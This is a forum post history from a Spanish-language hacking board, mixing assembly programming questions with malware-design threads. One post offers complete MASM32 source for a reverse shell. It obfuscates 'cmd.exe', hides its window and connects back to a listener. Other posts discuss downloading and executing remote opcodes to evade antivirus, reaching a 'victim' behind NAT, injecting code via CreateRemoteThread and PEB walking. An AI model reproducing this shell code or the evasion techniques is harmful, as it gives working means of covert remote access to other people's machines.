|
21
|
Programación / Scripting / Analizar Ejecutable En Red?
|
en: 26 Septiembre 2014, 01:15 am
|
Hola!
No estoy seguro si posteo en el Sub-Foro correcto, pero ahi va..
Tengo "a mi disposición" una lan con unas cuantas maquinas, mi intención es: desde una maquina poder enviar un ejecutable a toda la red para que cada una de las maquinas analicen el archivo con un AV (diferente), luego me retornen el resultado del análisis a la pc..
Dicho esto, no se me ocurre bien por donde empezar,, podría hacer un programa y copiarlo en cada maquina, (si es necesario)
Y para rematar, alguien sabe si existe alguna forma de correr el AV sin tenerlo activo todo el tiempo? O sea, que este instalado (o no, de ser posible) y hacer un análisis puntual y volver a cerrarse.. y todo esto sin UI, que el usuario no vea nada del proceso..
Bueno, si hay forma de hacer todo esto seria un lujo para mi.. me ahorraría mucho tiempo..
Saludos!
|
|
|
22
|
Programación / ASM / RTL_USER_PROCESS_PARAMETERS
|
en: 22 Julio 2014, 07:02 am
|
Hi! Tengo la estructura RTL_USER_PROCESS_PARAMETERS, de la cual quiero sacar la linea de comandos,, eso lo tengo, esta en CommandLine pero si quisiera sacar la cantidad de argumentos como podría hacerlo? Structure RTL_USER_PROCESS_PARAMETERS at 002D1528 Address Hex dump Decoded data Comments 002D1528 AC090000 DD 000009AC ; MaximumLength = 2476. 002D152C AC090000 DD 000009AC ; Length = 2476. 002D1530 01000000 DD 00000001 ; Flags = 1 002D1534 00000000 DD 00000000 ; DebugFlags = 0 002D1538 00000000 DD 00000000 ; ConsoleHandle = NULL 002D153C 00000000 DD 00000000 ; ConsoleFlags = 0 002D1540 00000000 DD 00000000 ; StdInputHandle = NULL 002D1544 00000000 DD 00000000 ; StdOutputHandle = NULL 002D1548 00000000 DD 00000000 ; StdErrorHandle = NULL 002D154C 3A00 DW 3A ; CurrentDir_Size = 58. 002D154E 0802 DW 208 ; CurrentDir_Maxsize = 520. 002D1550 C8202D00 DD 002D20C8 ; CurrentDir = "C:\Users\Central\Desktop\MRS\" 002D1554 0C000000 DD 0000000C ; CurrentDirectoryHandle = 0000000C 002D1558 FC03 DW 3FC ; DllPath_Size = 1020. 002D155A FE03 DW 3FE ; DllPath_Maxlen = 1022. 002D155C C8192D00 DD 002D19C8 ; DllPath = "C:\Users\Central\Desktop\MRS;;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\Program Files\PC Connectivity Solution\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\AT" 002D1560 4800 DW 48 ; ImagePath_Size = 72. 002D1562 4A00 DW 4A ; ImagePath_Maxlen = 74. 002D1564 C61D2D00 DD 002D1DC6 ; ImagePath = "C:\Users\Central\Desktop\MRS\MRS.exe" 002D1568 5600 DW 56 ; CommandLine_Size = 86. 002D156A 5800 DW 58 ; CommandLine_Maxlen = 88. 002D156C 101E2D00 DD 002D1E10 ; CommandLine = ""C:\Users\Central\Desktop\MRS\MRS.exe" HOLA" 002D1570 10082D00 DD 002D0810 ; Environment = 002D0810 002D1574 00000000 DD 00000000 ; StartPosLeft = 0 002D1578 00000000 DD 00000000 ; StartPosTop = 0 002D157C 00000000 DD 00000000 ; Width = 0 002D1580 00000000 DD 00000000 ; Height = 0 002D1584 00000000 DD 00000000 ; CharWidth = 0 002D1588 00000000 DD 00000000 ; CharHeight = 0 002D158C 00000000 DD 00000000 ; ConsoleTextAttributes = 0 002D1590 81000000 DD 00000081 ; WindowFlags = 81 002D1594 0A000000 DD 0000000A ; ShowFlags = 0A 002D1598 4800 DW 48 ; Title_Size = 72. 002D159A 4A00 DW 4A ; Title_Maxlen = 74. 002D159C 681E2D00 DD 002D1E68 ; Title = "C:\Users\Central\Desktop\MRS\MRS.exe" 002D15A0 1E00 DW 1E ; DesktopName_Size = 30. 002D15A2 2000 DW 20 ; DesktopName_Maxlen = 32. 002D15A4 B21E2D00 DD 002D1EB2 ; DesktopName = "WinSta0\Default" 002D15A8 0000 DW 0 ; ShellInfo_Size = 0 002D15AA 0200 DW 2 ; ShellInfo_Maxlen = 2 002D15AC D21E2D00 DD 002D1ED2 ; ShellInfo = "" 002D15B0 0000 DW 0 ; RuntimeData_Size = 0 002D15B2 0000 DW 0 ; RuntimeData_Maxlen = 0 002D15B4 00000000 DD 00000000 ; RuntimeData = NULL
Como podrán ver, hay un argumento: "HOLA", la cadena es Unicode, así que no me sirve buscar '\0', aunque también esta CommandLine_Size y CommandLine_Maxlen, yo preciso saber si se recibió al menos un argumento.. Gracias! Saludos! PD: Ya que estamos, si alguien resuelve como sacar solo el argumento que tire el dato, aclaro por las dudas.. en el dump muestra "C0:0\0U0s0e0r0s0\0C0e0n0t0r0a0l0\0D0e0s0k0t0o0p0\0M0R0S0\0M0R0S0.0e0x0e0"0H0O0L0A" , por eso pido consejo..
|
|
|
23
|
Programación / ASM / Pasar 2 parámetros en inyección de código
|
en: 16 Julio 2014, 02:27 am
|
Hi! Alguien sabe como podría pasar dos parámetros por CreateRemoteThread? La inyección no es mediante dll, inyecto una función.. En MSDN dice: HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_ LPDWORD lpThreadId );
lpParameter [in] A pointer to a variable to be passed to the thread function. Y por ahi dicen que se podria pasar una estructura,, algo asi: struct PARAMETER{ char* str1; char* str2; int num; };
Yo debería pasar algo parecido en asm: invoke CreateRemoteThread, Process, 0, 0, lpProcAddress, lpParameter, 0, 0
Funcion a inyectar: INJECTED PROC lpParameter:DWORD ; Como separar esos dos datos? ret INJECTED endp
|
|
|
24
|
Programación / ASM / Problema con el PEB
|
en: 4 Julio 2014, 02:17 am
|
Buenas! Tengo el siguiente problema, estoy leyendo el peb, necesito que cada vuelta que da ese bucle, ebx se posicione sobre el nombre de la funcion exportada. Aclaro que la primer vuelta que da, ebx es correcto, apunta a ActivateActCtx cuando le sumo la direccion de kernel32 que tengo en eax ; ******************************************** ; Hasta aca, en eax tengo a kernel32.dll ; en ebx tengo la ExportTable ; ******************************************** mov edx, -1 bucle: ; Bucle para comprobar si es la función buscada inc edx ; Para saber en que posicion está la funcion mov ebx, [ebx + edx * 4] ; Direcion del nombre de la funcion buscada + Siguiente funcion add ebx, eax ; RVA->VA | add eax, Kernel32Dir mov esi, ebx ; Mover a esi la funcion actual lea edi, [FuncionBuscada] ; Mover a edi la funcion buscada mov ecx, 0Eh ; [FuncionBuscadaLen] Necesario cargarla en cada vuelta, porque se decrementa repe cmpsb ; Compara esi y edi, con una longitud de ecx jnz bucle
Codigo ensamblable: .386 .model flat, stdcall option casemap:none include windows.inc include kernel32.inc includelib kernel32.lib .data FuncionBuscada db "GetProcAddress",0 .code inicio: ; ******************************* ; Obtener Kernel32.dll ; ******************************* assume fs: nothing mov eax, fs:[30h] mov eax, [eax + 0Ch] lea eax, [eax + 0Ch] NextModule: mov eax, [eax] mov ebx, [eax + 30h] cmp byte ptr[ebx + 6*2], '3' jne NextModule mov ebx, [eax + 18h] mov eax, ebx ; EAX guarda el valor de kernel32.dll ; ******************************* ; ******************************** ; Obtener direccion de funcion ; ******************************** add ebx, [ebx + 3Ch] add ebx, 78h mov ebx, [ebx] add ebx, eax ; push ebx ; Guardamos el valor [ET] / Antes: mov [ET], eax add ebx, 20h mov ebx, [ebx] add ebx, eax ; pop ebx ; Recuperamos el valor de [ET] ; *********************************************************************** ; Hasta aca, en eax tengo a kernel32.dll, en ebx tengo la ExportTable ; *********************************************************************** mov edx, -1 bucle: ; Bucle para comprobar si es la función buscada inc edx ; Para saber en que posicion está la funcion mov ebx, [ebx + edx * 4] ; Direcion del nombre de la funcion buscada + Siguiente funcion add ebx, eax ; RVA->VA | add eax, Kernel32Dir mov esi, ebx ; Mover a esi la funcion actual lea edi, [FuncionBuscada] ; Mover a edi la funcion buscada mov ecx, 0Eh ; [FuncionBuscadaLen] Necesario cargarla en cada vuelta, porque se decrementa repe cmpsb ; Compara esi y edi, con una longitud de ecx jnz bucle invoke ExitProcess, 0 end inicio
Entiendo que el error esta en la linea 59, cuando edx vale 0, la direccion esta bien, cuando edx vale 1, la direccion salta para no se donde.. Gracias!!!
|
|
|
25
|
Seguridad Informática / Análisis y Diseño de Malware / Malware que descarga instrucciones?
|
en: 23 Junio 2014, 00:38 am
|
Hola! Se me ocurrió algo hoy,, pero quería leer algunas opiniones antes de pasar a la POC..
La idea es hacer un programa que descarga opcodes de un servidor y luego los ejecuta, (los mete en la pila), podría ser un binario o un simple archivo de texto.. quizás eso podría evadir el análisis estático... no? Los opcodes podrían ser cosas como cargar una librería y hacer otra cosa.. digamos que el malware seria solo el motor que ejecuta otras ordenes.. a grandes rasgos seria la única firma detectable (el mismo motor, todas las demás funciones serian dinámicas) no se si me explico bien.. que les parece? seria viable?
Saludos!
|
|
|
26
|
Programación / Desarrollo Web / Servidor de juegos usando cgi-bin?
|
en: 19 Junio 2014, 19:41 pm
|
Hola! Bueno, a lo mejor esto no va acá y es mejor en scripting.. Tengo entendido que para montar un servidor para juegos lo mejor es tener uno dedicado, con la posibilidad de instalarle programas, abrirle puertos y demás.. hacer lo que uno quiera.. pero este no es el caso.. quiero hacer unas pruebas sobre mi servidor, uno normal, con su cpanel, phpmyadmin, y todas sus limitaciones de configuración.. La idea es hacer un "pseudojuego" online, e ir probando el asunto del envió de datos.. ya intente con el protocolo html (en realidad probaba otras cosas, y de paso intente el juego) el asunto es que el protocolo html envía y recibe mucha información que en este caso no es necesaria.. sabemos que lo mejor es usar sockets UDP, pero como no tengo esa opción, se me ocurre hacer un programa, por ejemplo en PERL o C y meterlo en cgi-bin, el programa se encargaría de la información y de los jugadores.. Ustedes que creen?? Seria viable? Lo mas importante es que el envió y recepción de datos sea lo mas limpia posible, nada de cabeceras ni cosas raras.. tiene que ser por sobre todo RÁPIDO. Leo opiniones!! Saludos!
|
|
|
27
|
Programación / ASM / Como escapar del sector de booteo??
|
en: 22 Mayo 2014, 23:22 pm
|
Hi! Estoy intentando mostrar una imagen BMP desde el inicio del pc, desde 0.. Tengo el código de 512bytes, y creo que puedo cargar la imagen,, el problema es que la imagen sola pesa mas de 512.. ¿seria mejor usar "bootloader.bin" solo para salir del modo real y luego cargar la imagen en modo protegido? De todas maneras.. cuando paso a modo protegido.. como sigo ejecutando código de otro archivo?
Digamos bootloader.bin inicia la pc, pone en modo prot. y como llamo a Kernel.bin?
No se si me logre explicar..
Saludos!
|
|
|
28
|
Programación / ASM / Dudas sobre direccionamiento
|
en: 19 Mayo 2014, 00:23 am
|
Hola! Estoy retomando las lecturas de ASM.. y quiero entender bien el asunto del direccionamiento en modo protegido y modo real.. al principio no le di mucha bola,, y el libro me entrevero,, pero ahora me interesa saberlo a fondo.. Aparte,, creo que hay un error gigante en el libro, dice: El modo protegido es el estado nativo del procesador, en el que estan disponibles todas las instrucciones y caracteristicas. Los programas reciben areas separadas de memoria llamadas segmentos, y el procesador evita que los programas hagan referencia a la memoria que se encuentra fuera de sus segmentos asignados. Bien, con la segunda parte todo ok.. pero no es en modo real que están disponibles todas las instrucciones y características?? Bien, despues dice: En el modo de direccionamiento real solo puede direccionarse 1MB de memoria, del 00000 al FFFFF hexadecimal. El procesador solo puede ejecutar un programa a la vez, pero puede interrumpir de forma momentánea ese programa para procesar las interrupciones de los periféricos. etc..etc.. En el modo protegido, el procesador puede ejecutar varios programas al mismo tiempo (nota mía: "al mismo tiempo"). A cada proceso le asigna un total de 4GB de memoria. A cada programa se le puede asignar su propia área reservada de memoria, y los programas no pueden acceder de manera accidental al código y los datos de los demás programas. ¿Por que? Quizás antes solo existían registros de 16bits? Y la mas importante, cuando dice solo puede direccionarse 1MB de memoria, quiere decir que no importa cuanta RAM tengamos,, solo es accesible 1MB de ella? En cambio en modo protegido se puede acceder hasta 4GB.. por programa? Eso tampoco tienen mucho sentido (como yo lo interpreto) porque eso significaria tener unos pocos programas abiertos.. Gracias por la ayuda! Saludos!!
|
|
|
29
|
Programación / ASM / Remote Shell (Masm32)
|
en: 14 Mayo 2014, 21:37 pm
|
Hola.. aporto con un codigo en masm.. no hay mucho que aclarar.. .386 .model flat, stdcall option casemap:none include windows.inc include kernel32.inc includelib kernel32.lib ; ---------------------- include ws2_32.inc includelib ws2_32.lib ; ---------------------- .data? _Wsadata WSADATA <> _Sockaddrin sockaddr_in <> _Processinfo PROCESS_INFORMATION <> _StartupinfoA STARTUPINFOA <> .data _Comandline db "djc)bb", 0 ; -> cmd.exe xor 7 .code _Start: ; SOCKET mov eax, 100007Fh ; -> 127.0.0.1 mov _Sockaddrin.sin_port, 0b822h ; -> 8888 mov _Sockaddrin.sin_addr, eax mov _Sockaddrin.sin_family, AF_INET invoke WSAStartup, 202h, addr _Wsadata invoke WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ; SHELL mov _StartupinfoA.hStdInput, eax mov _StartupinfoA.hStdOutput, eax mov _StartupinfoA.hStdError, eax mov _StartupinfoA.wShowWindow, SW_HIDE mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES mov _StartupinfoA.cb, sizeof _StartupinfoA mov ebx, eax ; Guardo el Socket Handle ; CONNECT _noconnect: invoke connect, ebx, addr _Sockaddrin, sizeof _Sockaddrin or eax, eax jnz _noconnect ; DECRYPT xor ecx, ecx push offset _Comandline pop eax _nozero: cmp byte ptr ds:[eax + ecx], 0 je _zero xor byte ptr ds:[eax + ecx], 7 inc ecx jmp _nozero _zero: invoke CreateProcessA, NULL, addr _Comandline, NULL, NULL, TRUE, 0, NULL, NULL, addr _StartupinfoA, addr _Processinfo invoke ExitProcess, 0 end _Start
Suerte!! Saludos!
|
|
|
30
|
Seguridad Informática / Análisis y Diseño de Malware / Y como conectarse a través del router o firewall?
|
en: 8 Mayo 2014, 07:28 am
|
Buenas!
Si estamos detrás de un router o firewall no seriamos visibles para "la victima" verdad? En el caso del firewall podemos solucionarlo abriendo los puertos correspondientes, pero no seguimos siendo inaccesibles desde fuera de la red por la naturaleza del router? Creo que se le llama "mascara de subred" (capaz que nada que ver..)
Se me ocurre usar una VPN, o algún otro método de tunneling, pero claro.. no le vamos a pedir a "la victima" que se instale algún programa para lograr eso... como se podría solucionar dicha situación??
Saludos!
|
|
|
|
|
|
|